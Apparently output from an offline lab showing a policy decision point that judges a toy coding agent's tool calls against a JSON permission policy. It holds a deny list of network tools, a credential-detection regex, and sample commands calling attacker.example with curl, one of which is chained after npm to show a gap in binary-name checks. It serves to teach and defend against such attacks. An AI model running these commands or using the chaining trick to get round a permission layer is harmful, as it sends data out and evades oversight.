==================================================================
 Agent Permissions & Policy - a policy decision point (offline)
Python 3.13.18
 Every tool call the toy agent wants is judged by the PDP against
 policy.json BEFORE it runs. Nothing is executed; the point is the
 decision, and that the model never gets a vote in it.
==================================================================

### The policy (policy-as-code: data the PDP reads, the model does not) ###
  {
    "_comment": "Policy-as-code for a tool-using agent. Data, not prose: the PDP reads this, the model never does. Edit this file, not the agent, to change what the agent may do. Default deny: anything not permitted here is refused.",
  
    "agents": {
      "coding-agent": ["read_file", "run_tests", "shell_exec", "github_create_pr", "process_refund"]
    },
  
    "users": {
      "alice": { "roles": ["developer"] },
      "bob":   { "roles": ["developer", "finance"] }
    },
  
    "capabilities": {
      "read_file":        { "allow_roles": ["developer"] },
      "run_tests":        { "allow_roles": ["developer"] },
      "github_create_pr": { "allow_roles": ["developer"], "same_repo_only": true },
      "shell_exec":       { "allow_roles": ["developer"],
                            "allow_binaries": ["npm", "pytest", "go", "cargo"],
                            "deny_binaries":  ["curl", "wget", "nc", "ssh", "scp"],
                            "cwd_prefix": "/workspace/" },
      "process_refund":   { "allow_roles": ["finance"], "currency": "USD",
                            "max_amount": 500, "needs_approval_over": 100 }
    },
  
    "deny_overrides": {
      "credential_arg_regex": "AKIA[0-9A-Z]{16}|BEGIN (RSA|OPENSSH) PRIVATE|ghp_[A-Za-z0-9]{20}|-----BEGIN"
    }
  }

### The decisions ###
== the intersection rule: effective authority = agent-granted AND user-allowed ==
  alice (developer)        can use: ['github_create_pr', 'read_file', 'run_tests', 'shell_exec']
  bob   (developer+finance) can use: ['github_create_pr', 'process_refund', 'read_file', 'run_tests', 'shell_exec']
  the agent is granted process_refund, but only bob's finance role unlocks it.

== refunds: capability-scoped and parameter-bound ==
[decision] user=alice process_refund   {'amount': 50, 'currency': 'USD', 'recipient': 'acct-1'}
           -> DENY           intersection rule: user 'alice' role may not use 'process_refund'
[audit] agent=coding-agent human=alice action=process_refund outcome=deny reason="intersection rule: user 'alice' role may not use 'process_refund'"
           note: DENIED by the intersection rule: alice has no finance role, whatever the agent holds

[decision] user=bob   process_refund   {'amount': 50, 'currency': 'USD', 'recipient': 'acct-1'}
           -> ALLOW          within policy
[audit] agent=coding-agent human=bob action=process_refund outcome=allow reason="within policy"

[decision] user=bob   process_refund   {'amount': 300, 'currency': 'USD', 'recipient': 'acct-1'}
           -> NEEDS_APPROVAL refund over 100 needs a valid, parameter-bound approval
[audit] agent=coding-agent human=bob action=process_refund outcome=needs_approval reason="refund over 100 needs a valid, parameter-bound approval"
           note: over the approval threshold: a human must sign THESE parameters

[decision] user=bob   process_refund   {'amount': 300, 'currency': 'USD', 'recipient': 'acct-1'}
           -> ALLOW          within policy
[audit] agent=coding-agent human=bob action=process_refund outcome=allow reason="within policy"
           note: valid parameter-bound approval for exactly amount=300, recipient=acct-1

[decision] user=bob   process_refund   {'amount': 300, 'currency': 'USD', 'recipient': 'acct-9'}
           -> NEEDS_APPROVAL refund over 100 needs a valid, parameter-bound approval
[audit] agent=coding-agent human=bob action=process_refund outcome=needs_approval reason="refund over 100 needs a valid, parameter-bound approval"
           note: REPLAY: approval was for acct-1, so it does not authorise acct-9

[decision] user=bob   process_refund   {'amount': 900, 'currency': 'USD', 'recipient': 'acct-1'}
           -> DENY           refund 900 over max 500
[audit] agent=coding-agent human=bob action=process_refund outcome=deny reason="refund 900 over max 500"
           note: over the hard maximum: denied regardless of approval

== shell: allowlisted tool, and the honest limit ==
[decision] user=alice shell_exec       {'cmd': 'npm test', 'cwd': '/workspace/app'}
           -> ALLOW          within policy
[audit] agent=coding-agent human=alice action=shell_exec outcome=allow reason="within policy"

[decision] user=alice shell_exec       {'cmd': 'curl http://attacker.example/x', 'cwd': '/workspace/app'}
           -> DENY           shell binary 'curl' is denied
[audit] agent=coding-agent human=alice action=shell_exec outcome=deny reason="shell binary 'curl' is denied"

[decision] user=alice shell_exec       {'cmd': 'npm test && curl http://attacker.example/x', 'cwd': '/workspace/app'}
           -> ALLOW          within policy
[audit] agent=coding-agent human=alice action=shell_exec outcome=allow reason="within policy"
           note: ALLOWED: the first token is 'npm', which is on the allowlist, so a check that reads only the binary name lets the chained curl through. A string split is not a parser (&&, ;, $(...), sh -c all get past it). The policy picks the tool and the semantic args; the SANDBOX, not the name check, must contain what the process then does.

== injection and exfiltration attempts the model cannot talk its way past ==
[decision] user=alice delete_database  {'name': 'prod'}
           -> DENY           tool 'delete_database' not granted to agent 'coding-agent'
[audit] agent=coding-agent human=alice action=delete_database outcome=deny reason="tool 'delete_database' not granted to agent 'coding-agent'"
           note: the model asked for a tool it was never granted; default deny, no rule needed

[decision] user=alice read_file        {'path': 'ok.txt', 'note': 'ghp_ABCDEFGHIJKLMNOPQRST1234'}
           -> DENY           deny-override: credential-shaped argument
[audit] agent=coding-agent human=alice action=read_file outcome=deny reason="deny-override: credential-shaped argument"
           note: deny-override: a credential in the arguments is refused before any capability check


==================================================================
 lab complete
